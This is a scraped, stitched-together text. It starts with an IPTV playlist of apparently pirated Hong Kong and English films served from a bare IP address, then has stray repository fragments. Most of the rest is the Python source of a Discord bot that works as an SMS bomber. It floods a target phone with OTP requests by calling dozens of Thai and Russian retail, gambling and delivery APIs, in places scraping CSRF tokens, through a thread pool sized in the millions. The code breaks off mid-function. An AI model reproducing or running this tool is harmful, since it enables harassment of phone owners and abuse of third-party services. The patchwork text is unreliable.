The Mechanic http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1544.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="ENGLISH MOVIE VIDEO", The Ring 2 http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1545.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Bai.Du.Ren.2016.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/592.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Buddy.Cops.2016.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/593.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Chek.Dou.2015.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/594.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", City.Under.Siege.2010.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/595.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Cold.War.2012.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/596.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Comrades.Almost.A.Love.Story.1996.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/597.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Election.2.2006.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/598.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Flash.Point.2007.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/599.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Forbidden.City.Cop.1996.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/600.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", God.Of.Gamblers.1989.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/601.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Infernal.Affairs.II.2003.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/602.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Justice.My.Foot.1992.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/603.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Keeper.Of.Darkness.2015.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/604.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Overheard.2009.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/605.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", S.Storm.2016.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/606.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Seven.Warriors.1989.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/607.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Ye.Sheng.Huo.Nu.Wang.Xia.Jie.Chuan.Qi.1991.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/608.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Alls.Well.Ends.Well.Too.1993.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/610.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", As.Tears.Go.By.1988.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/611.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Ashes.Of.Time.1994.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/612.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Bodyguards.And.Assassins.2009.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/613.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Born.To.Be.King.2000.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/614.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Chasing.The.Dragon.2017.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/615.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Chinese.Zodiac.2012.720p.BluRay.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/616.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", City.On.Fire.1987.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/617.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Crazy.Love.1993.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/618.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Dragons.Forever.1988.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/619.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Election.2005.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/620.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Enter.The.Fat.Dragon.2020.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/621.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Exiled.2006.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/622.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Fallen.Angels.1995.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/623.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Fist.Of.Fury.1991.1991.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/624.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Game.Of.Death.1978.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/625.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Ghost.Net.2017.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/626.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Gorgeous.1999.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/627.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Iceman.2014.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/628.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", In.The.Line.Of.Duty.IV.1989.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/629.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Ip Man 2.2010.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/630.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Ip Man 2008.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/631.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Ip.Man.3.2015.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/632.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Iron.Fisted.Monk.1977.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/633.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Iron.Monkey.1993.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/634.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Kung.Fu.Traveler.2017.720p.WEBRip.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/635.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Legend.Of.The.Fist.2010.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/636.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Look.Out,.Officer!.1990.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/637.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Naked.Ambition.2.2014.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/638.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Naked.Weapon.2002.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/639.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Once.A.Thief.-.Kerran.Varas,.Aina.Varas.1991.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/640.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Operation.Condor.1991.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/641.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", P.Storm.2019.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/642.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Paradox.2017.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/643.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Police.Story.1985.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/644.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Police.Story.2.1988.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/645.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Prison.On.Fire.1987.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/646.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Protege.2007.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/647.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Rob-B-Hood.2006.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/648.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Shaolin.Soccer.2001.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/649.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", She.Remembers.He.Forgets.2015.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/650.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Shinjuku.Incident.2009.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/651.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Shock.Wave.2017.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/652.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Spiritual.Kung.Fu.1978.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/653.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Swordsman.II.1992.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/654.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Ten.Years.2015.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/655.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", The Legend Is Born Ip Man 2010.720p.BrRip.x264.YIFY http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/656.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", The.36th.Chamber.Of.Shaolin.1978.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/657.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", The.Accidental.Spy.2001.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/658.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", The.Adventurers.2017.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/659.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", The.Eight.Immortals.Restaurant.The.Untold.Story.1993.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/660.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", The.Human.Goddess.1972.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/661.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", The.Legend.of.Drunken.Master.1994.720p.BluRay.x264.[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/662.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", The.Way.Of.The.Dragon.1972.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/663.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Throw.Down.2004.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/664.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Tracey.2018.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/665.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Triad.Wars.2008.720p.BluRay.x264.AAC-[YTS.MX] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/666.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Twin.Dragons.1992.720p.BluRay.x264-[YTS.AG] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/667.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Winners.&.Sinners.1983.720p.BluRay.x264-[YTS.AM] http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/668.mp4 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="HONG KONG MOVIES VIDEO", Always Be With You 2017 http://188.40.76.108:25461/movie/mytv01/uSIRzmks51/1063.mp4 Tidak berjudul.txt Menampilkan Tidak berjudul.txt.
tacomilkshake
A Node.js module for Express that makes using a CDN for your static assets a breeze.
Godbyhub
import os, wmi from sys import prefix from attr import validate import discord from discord.ext import commands from discord.ext import commands import discord from discord_buttons_plugin import * import requests, json, threading, requests, json, validators import requests, time, os from os import system from typing_extensions import Required import discord from discord import client from discord.utils import get import gratient from concurrent.futures import ThreadPoolExecutor from re import search from time import sleep import requests from discord import embeds from datetime import datetime from discord import message from discord.ext import commands from discord.ext.commands.core import command, has_role from requests import post, Session from re import search from random import choice from string import ascii_uppercase, digits from concurrent.futures import ThreadPoolExecutor from discord.ext import commands from json import loads, dumps, load PREFIX = 'wy.' TOKEN = '' LIMIT = 100 blacklist = [ "191", "0956150861" ] bot = commands.Bot(command_prefix=PREFIX) bot.remove_command("help") def randomString(N): return ''.join(choice(ascii_uppercase + digits) for _ in range(N)) threading = ThreadPoolExecutor(max_workers=int(100000000)) useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" header = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"} print(gratient.black(''' ╔════════════════════════════════════════════╗ ║ .______ ______ .___________. ║ ║ | _ \ / __ \ | | ║ ║ | |_) | | | | | `---| |----` ║ ║ | _ < | | | | | | ║ ║ | |_) | | `--' | | | ║ ║ |______/ \______/ |__| ║ ╚════════════════════════════════════════════╝ ''')) @bot.event async def on_command_error(ctx, error): if isinstance(error, commands.CommandOnCooldown): await ctx.send(f"`cooldown {round(error.retry_after, 2)} seconds left`") @bot.event async def on_ready(): print(gratient.red(f"login as {bot.user}")) system('title ' + (f"{bot.user}")) def randomString(N): return ''.join(choice(ascii_uppercase + digits) for _ in range(N)) threading = ThreadPoolExecutor(max_workers=int(100000000)) useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" def sk1(phone): post("https://api.myfave.com/api/fave/v3/auth",headers={"client_id": "dd7a668f74f1479aad9a653412248b62", "User-Agent": useragent},json={"phone": f"66{phone}"}) def sk2(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", headers={"User-Agent": useragent}, json={"reqId":"39816-1633012470","params":{"phone": f"+66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def sk3(phone): post("https://api2.1112.com/api/v1/otp/create", headers={"User-Agent": useragent}, data={'phonenumber': phone,'language': "th"}) def sk4(phone): post("https://ecomapi.eveandboy.com/v10/user/signup/phone", headers={"User-Agent": useragent}, data={"phone": phone,"password":"123456789Az"}) def sk5(phone): post("https://api.1112delivery.com/api/v1/otp/create", headers={"User-Agent": useragent}, data={'phonenumber': phone,'language': "th"}) def sk6(phone): post("https://gccircularlivingshop.com/sms/sendOtp", headers={"User-Agent": useragent}, json={"grant_type":"otp","username": f"+66{phone[1:]}","password":"","client":"ecommerce"}) def sk7(phone): post("https://shop.foodland.co.th/login/generation", headers={"User-Agent": useragent}, data={"phone": phone}) def sk8(phone): post("https://api-shop.diorbeauty.hk/api/th/ecrm/sms_generate_code", headers={"User-Agent": useragent}, data={"number": f"+66{phone[1:]}"}) def sk9(phone): post("https://api.sacasino9x.com/api/RegisterService/RequestOTP", headers={"User-Agent": useragent}, json={"Phone": phone}) def sk10(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", headers={"User-Agent": useragent}, data={"phone": phone}) def sk11(phone): post("https://www.konvy.com/ajax/system.php?type=reg&action=get_phone_code", headers={"User-Agent": useragent}, data={"phone": phone}) def sk12(phone): post("https://partner-api.grab.com/grabid/v1/oauth2/otp", headers={"User-Agent": useragent}, json={"client_id":"4ddf78ade8324462988fec5bfc5874c2","transaction_ctx":"null","country_code":"TH","method":"SMS","num_digits":"6","scope":"openid profile.read foodweb.order foodweb.rewards foodweb.get_enterprise_profile","phone_number": f"66{phone[1:]}"}) def sk13(phone): post("https://api.scg-id.com/api/otp/send_otp", headers={"User-Agent": useragent, "Content-Type": "application/json;charset=UTF-8"},json={"phone_no": phone}) def sk14(phone): session = Session() searchItem = session.get("https://www.shopat24.com/register/").text ReqTOKEN = search("""<input type="hidden" name="_csrf" value="(.*)" />""", searchItem).group(1) session.post("https://www.shopat24.com/register/ajax/requestotp/", headers={"User-Agent": useragent, "content-type": "application/x-www-form-urlencoded; charset=UTF-8","X-CSRF-TOKEN": ReqTOKEN}, data={"phoneNumber": phone}) def sk15(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", headers={"User-Agent": useragent}, data={"tel": phone,"otp_type":"register"}) def sk16(phone): post("https://the1web-api.the1.co.th/api/t1p/regis/requestOTP", headers={"User-Agent": useragent}, json={"on":{"value": phone,"country":"66"},"type":"mobile"}) def sk17(phone): post(f"https://th.kerryexpress.com/website-api/api/OTP/v1/RequestOTP/{phone}", headers={"User-Agent": useragent}) def sk18(phone): post("https://graph.firster.com/graphql",headers={"User-Agent": useragent, "organizationcode": "lifestyle","content-type": "application/json"}, json={"operationName":"sendOtp","variables":{"input":{"mobileNumber": phone[1:],"phoneCode":"THA-66"}},"query":"mutation sendOtp($input: SendOTPInput!) {\n sendOTPRegister(input: $input) {\n token\n otpReference\n expirationOn\n __typename\n }\n}\n"}) def sk19(phone): post("https://nocnoc.com/authentication-service/user/OTP?b-uid=1.0.661", headers={"User-Agent": useragent}, json={"lang":"th","userType":"BUYER","locale":"th","orgIdfier":"scg","phone": f"+66{phone[1:]}","type":"signup","otpTemplate":"buyer_signup_otp_message","userParams":{"buyerName": randomString(10)}}) def sk20(phone): post("https://store.boots.co.th/api/v1/guest/register/otp", headers={"User-Agent": useragent}, json={"phone_number":f"+66{phone[1:]}"}) def sk21(phone): post("https://m.lucabet168.com/api/register-otp", headers={"User-Agent": useragent} ,json={"brands_id":"609caede5a67e5001164b89d","agent_register":"60a22f7d233d2900110070d7","tel": phone}) def sk22(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": useragent}).text session.post("https://srfng.ais.co.th/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": useragent,"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def sk23(phone): post(url="https://www.cpffeedonline.com/Customer/RegisterRequestOTP", data={"mobileNumber":f"{phone}"}) def sk24(phone): post(url="https://www.tgfone.com/index.php/signin/otp_chk", data={"mobile":f"{phone}"}) def sk25(phone): post("https://api2.1112.com/api/v1/otp/create", json={"phonenumber":f"0{phone}","language":"th"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk26(phone): post("https://unacademy.com/api/v3/user/user_check/", json={"phone":f"0{phone}","country_code":"TH"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk27(phone): post(f"http://m.vcanbuy.com/gateway/msg/send_regist_sms_captcha?mobile=66-0{phone}") def sk28(phone): post("https://ocs-prod-api.makroclick.com/next-ocs-member/user/register", json={"username": f"0{phone}","password":"6302814184624az","name":"0903281894","provinceCode":"28","districtCode":"393","subdistrictCode":"3494","zipcode":"40260","siebelCustomerTypeId":"710","acceptTermAndCondition":"true","hasSeenConsent":"false","locale":"th_TH"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk29(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", data={"phone": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk30(phone): post("https://www.berlnw.com/reservelogin", data={"p_myreserve": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk31(phone): post("https://www.kickoff28.com/action.php?mode=PreRegister", data={"tel": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk32(phone): post("https://1ufabet.com/_ajax_/request-otp", data={"request_otp[phoneNumber]": f"0{phone}", "request_otp[termAndCondition]": "1", "request_otp[_token]": "XBNcvQIzJK1pjh_2T0BBzLiDa6vSivktDN317mbw3ws"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def p1112(phone): d=post('https://api2.1112.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers= header).status_code def p1112v2(phone): d=post('https://api.1112delivery.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers=header).status_code def yandex(phone): d=post("https://taxi.yandex.kz/3.0/launch/",json={},headers=header).json() d=post("https://taxi.yandex.kz/3.0/auth/",json={"id": d["id"], "phone": f"+66{phone[1:]}"},headers=header).text def okru(phone): s=Session() s.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38","Content-Type" : "application/x-www-form-urlencoded","Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}) s.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data=f"st.r.phone=+66{phone[1:]}") s.post("https://ok.ru/dk?cmd=AnonymRegistrationAcceptCallUI&st.cmd=anonymRegistrationAcceptCallUI",data="st.r.fieldAcceptCallUIButton=Call") def karusel(phone): s=Session() s.post('https://app.karusel.ru/api/v1/phone/', data={'phone': phone}) def KFC(_phone): post('https://app-api.kfc.ru/api/v1/common/auth/send-validation-sms', json={'phone': '+' + _phone}) def icq(phone): 